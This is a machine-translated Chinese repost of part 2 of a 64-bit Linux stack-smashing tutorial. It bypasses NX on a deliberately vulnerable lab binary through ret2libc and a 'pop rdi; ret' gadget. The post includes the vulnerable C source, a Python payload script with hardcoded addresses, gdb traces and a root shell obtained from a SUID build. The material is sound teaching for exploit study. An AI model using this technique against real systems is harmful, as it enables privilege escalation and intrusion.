安全圈 | 专注于最新网络信息安全讯息新闻

首页

比特linux堆棧粉碎教程:第2部分-techorganic-思考

作者 trentadue 时间 2020-02-26
all

這是我的64比特Linux堆棧粉碎教程的第2部分。在第1部分中,我們利用經典的堆疊溢位利用了64比特二進位檔案,並瞭解到我們不能盲目地期望通過向緩衝區發送位元組來覆蓋RIP。在第1部分中,我們關閉了ASLR、NX和stack canaries,囙此我們可以專注於開發,而不是繞過這些安全特性。這次我們將啟用NX,並研究如何使用ret2libc利用相同的二進位檔案。

安裝程式

設定與我在第1部分中使用的相同。我們還將利用以下內容:

Ret2Libc公司

這是我們在第1部分中使用的同一個二進位檔案。唯一的區別是,我們將保持啟用NX,這將封锁我們以前的漏洞利用,因為堆棧現在是不可執行的:

/* Compile: gcc -fno-stack-protector ret2libc.c -o ret2libc */ /* Disable ASLR: echo 0 > /proc/sys/kernel/randomize_va_space */ #include <stdio.h> #include <unistd.h> int vuln() { char buf[80]; int r; r = read(0, buf, 400); printf("\nRead %d bytes. buf is %s\n", r, buf); puts("No shell for you :("); return 0; } int main(int argc, char *argv[]) { printf("Try to exec /bin/sh"); vuln(); return 0; }

您也可以在這裡獲取預編譯的二進位檔案。

在32比特二進位檔案中,ret2libc攻擊涉及設定一個假堆棧幀,以便函數調用libc中的函數並傳遞它所需的任何參數。通常這將返回到system()並讓它執行“/bin/sh”。

在64比特二進位檔案中,函數參數在寄存器中傳遞,囙此不需要偽造堆棧幀。前六個參數在寄存器RDI、RSI、RDX、RCX、R8和R9中傳遞。超出此範圍的任何內容都會在堆棧中傳遞。這意味著在返回到libc中我們選擇的函數之前,我們需要確保使用函數期望的參數正確設定寄存器。這反過來又導致我們不得不使用一些面向返回的程式設計(ROP)。如果你不熟悉ROP,別擔心,我們不會進入瘋狂的事情。

我們將從返回system()並執行“/bin/sh”的簡單利用漏洞開始。我們需要一些東西:

讓我們從查找system()的地址開始。這在gdb中很容易做到:

gdb-peda$ start . . . gdb-peda$ p system $1 = {<text variable, no debug info>} 0x7ffff7a5ac40 <system>

我們可以同樣輕鬆地蒐索指向“/bin/sh”的指針:

gdb-peda$ find "/bin/sh" Searching for '/bin/sh' in: None ranges Found 3 results, display max 3 items: ret2libc : 0x4006ff --> 0x68732f6e69622f ('/bin/sh') ret2libc : 0x6006ff --> 0x68732f6e69622f ('/bin/sh') libc : 0x7ffff7b9209b --> 0x68732f6e69622f ('/bin/sh') [email protected]:~/ret2libc$ ropper --file ret2libc --search "% ?di" Gadgets ======= 0x0000000000400520: mov edi, 0x601050; jmp rax; 0x000000000040051f: pop rbp; mov edi, 0x601050; jmp rax; 0x00000000004006a3: pop rdi; ret ; 3 gadgets found

第三個將值從堆棧中彈出到RDI中的小工具是完美的。我們現在擁有了開發所需的一切:

#!/usr/bin/env python from struct import * buf = "" buf += "A"*104 # junk buf += pack("<Q", 0x00000000004006a3) # pop rdi; ret; buf += pack("<Q", 0x4006ff) # pointer to "/bin/sh" gets popped into rdi buf += pack("<Q", 0x7ffff7a5ac40) # address of system() f = open("in.txt", "w") f.write(buf)

此漏洞會將有效負載寫入in.txt,我們可以將其重定向到gdb中的二進位檔案。讓我們快速回顧一下:

讓我們看看它在gdb中的作用。我們將在vuln()的返回指令處設定中斷點:

gdb-peda$ br *vuln+73 Breakpoint 1 at 0x40060f

現在,我們將把負載重定向到二進位檔案,它應該到達我們的第一個中斷點:

gdb-peda$ r < in.txt Try to exec /bin/sh Read 128 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA� No shell for you :( . . . [-------------------------------------code-------------------------------------] 0x400604 <vuln+62>: call 0x400480 <[email protected]> 0x400609 <vuln+67>: mov eax,0x0 0x40060e <vuln+72>: leave => 0x40060f <vuln+73>: ret 0x400610 <main>: push rbp 0x400611 <main+1>: mov rbp,rsp 0x400614 <main+4>: sub rsp,0x10 0x400618 <main+8>: mov DWORD PTR [rbp-0x4],edi [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe508 --> 0x4006a3 (<__libc_csu_init+99>: pop rdi) 0008| 0x7fffffffe510 --> 0x4006ff --> 0x68732f6e69622f ('/bin/sh') 0016| 0x7fffffffe518 --> 0x7ffff7a5ac40 (<system>: test rdi,rdi) 0024| 0x7fffffffe520 --> 0x0 0032| 0x7fffffffe528 --> 0x7ffff7a37ec5 (<__libc_start_main+245>: mov edi,eax) 0040| 0x7fffffffe530 --> 0x0 0048| 0x7fffffffe538 --> 0x7fffffffe608 --> 0x7fffffffe827 ("/home/koji/ret2libc/ret2libc") 0056| 0x7fffffffe540 --> 0x100000000 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x000000000040060f in vuln ()

注意,RSP指向0x4006a3,這是我們的ROP小工具。請進入我們的小工具,我們現在可以在其中執行pop rdi。

gdb-peda$ si . . . [-------------------------------------code-------------------------------------] => 0x4006a3 <__libc_csu_init+99>: pop rdi 0x4006a4 <__libc_csu_init+100>: ret 0x4006a5: data32 nop WORD PTR cs:[rax+rax*1+0x0] 0x4006b0 <__libc_csu_fini>: repz ret [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe510 --> 0x4006ff --> 0x68732f6e69622f ('/bin/sh') 0008| 0x7fffffffe518 --> 0x7ffff7a5ac40 (<system>: test rdi,rdi) 0016| 0x7fffffffe520 --> 0x0 0024| 0x7fffffffe528 --> 0x7ffff7a37ec5 (<__libc_start_main+245>: mov edi,eax) 0032| 0x7fffffffe530 --> 0x0 0040| 0x7fffffffe538 --> 0x7fffffffe608 --> 0x7fffffffe827 ("/home/koji/ret2libc/ret2libc") 0048| 0x7fffffffe540 --> 0x100000000 0056| 0x7fffffffe548 --> 0x400610 (<main>: push rbp) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x00000000004006a3 in __libc_csu_init ()

步驟和RDI現在應該包含指向“/bin/sh”的指針:

gdb-peda$ si [----------------------------------registers-----------------------------------] . . . RDI: 0x4006ff --> 0x68732f6e69622f ('/bin/sh') . . . [-------------------------------------code-------------------------------------] 0x40069e <__libc_csu_init+94>: pop r13 0x4006a0 <__libc_csu_init+96>: pop r14 0x4006a2 <__libc_csu_init+98>: pop r15 => 0x4006a4 <__libc_csu_init+100>: ret 0x4006a5: data32 nop WORD PTR cs:[rax+rax*1+0x0] 0x4006b0 <__libc_csu_fini>: repz ret 0x4006b2: add BYTE PTR [rax],al 0x4006b4 <_fini>: sub rsp,0x8 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe518 --> 0x7ffff7a5ac40 (<system>: test rdi,rdi) 0008| 0x7fffffffe520 --> 0x0 0016| 0x7fffffffe528 --> 0x7ffff7a37ec5 (<__libc_start_main+245>: mov edi,eax) 0024| 0x7fffffffe530 --> 0x0 0032| 0x7fffffffe538 --> 0x7fffffffe608 --> 0x7fffffffe827 ("/home/koji/ret2libc/ret2libc") 0040| 0x7fffffffe540 --> 0x100000000 0048| 0x7fffffffe548 --> 0x400610 (<main>: push rbp) 0056| 0x7fffffffe550 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x00000000004006a4 in __libc_csu_init ()

現在RIP指向ret,RSP指向system()的地址。再次介入,我們現在應該進入system()

gdb-peda$ si . . . [-------------------------------------code-------------------------------------] 0x7ffff7a5ac35 <cancel_handler+181>: pop rbx 0x7ffff7a5ac36 <cancel_handler+182>: ret 0x7ffff7a5ac37: nop WORD PTR [rax+rax*1+0x0] => 0x7ffff7a5ac40 <system>: test rdi,rdi 0x7ffff7a5ac43 <system+3>: je 0x7ffff7a5ac50 <system+16> 0x7ffff7a5ac45 <system+5>: jmp 0x7ffff7a5a770 <do_system> 0x7ffff7a5ac4a <system+10>: nop WORD PTR [rax+rax*1+0x0] 0x7ffff7a5ac50 <system+16>: lea rdi,[rip+0x13744c] # 0x7ffff7b920a3

此時,如果我們繼續執行,我們應該看到“/bin/sh”被執行:

gdb-peda$ c [New process 11114] process 11114 is executing new program: /bin/dash Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command. Error in re-setting breakpoint 1: No symbol "vuln" in current context. Error in re-setting breakpoint 1: No symbol "vuln" in current context. Error in re-setting breakpoint 1: No symbol "vuln" in current context. [New process 11115] Error in re-setting breakpoint 1: No symbol "vuln" in current context. process 11115 is executing new program: /bin/dash Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command. Error in re-setting breakpoint 1: No symbol "vuln" in current context. Error in re-setting breakpoint 1: No symbol "vuln" in current context. Error in re-setting breakpoint 1: No symbol "vuln" in current context. [Inferior 3 (process 11115) exited normally] Warning: not running or target is remote

太好了,看起來像是我們的開拓工程。我們試試看能不能弄到根殼。我們將更改ret2libc的所有者和許可權,使其成為SUID root:

現在讓我們像在第1部分中一樣執行我們的開發:

[email protected]:~/ret2libc$ (cat in.txt ; cat) | ./ret2libc Try to exec /bin/sh Read 128 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA� No shell for you :( whoami root

又得到了我們的根殼,我們繞過了NX。現在這是一個相對簡單的漏洞利用,只需要一個參數。如果我們需要更多呢?然後,在返回libc中的函數之前,我們需要找到更多的小工具來相應地設定寄存器。如果您面臨挑戰,請重寫該漏洞,使其調用execve()而不是system()。execve()需要三個參數:

int execve(const char *filename, char *const argv[], char *const envp[]);

這意味著您需要在調用execve()之前用正確的值填充RDI、RSI和RDX。嘗試只在二進位檔案中使用小工具,也就是說,不要在libc中查找小工具。祝你好運!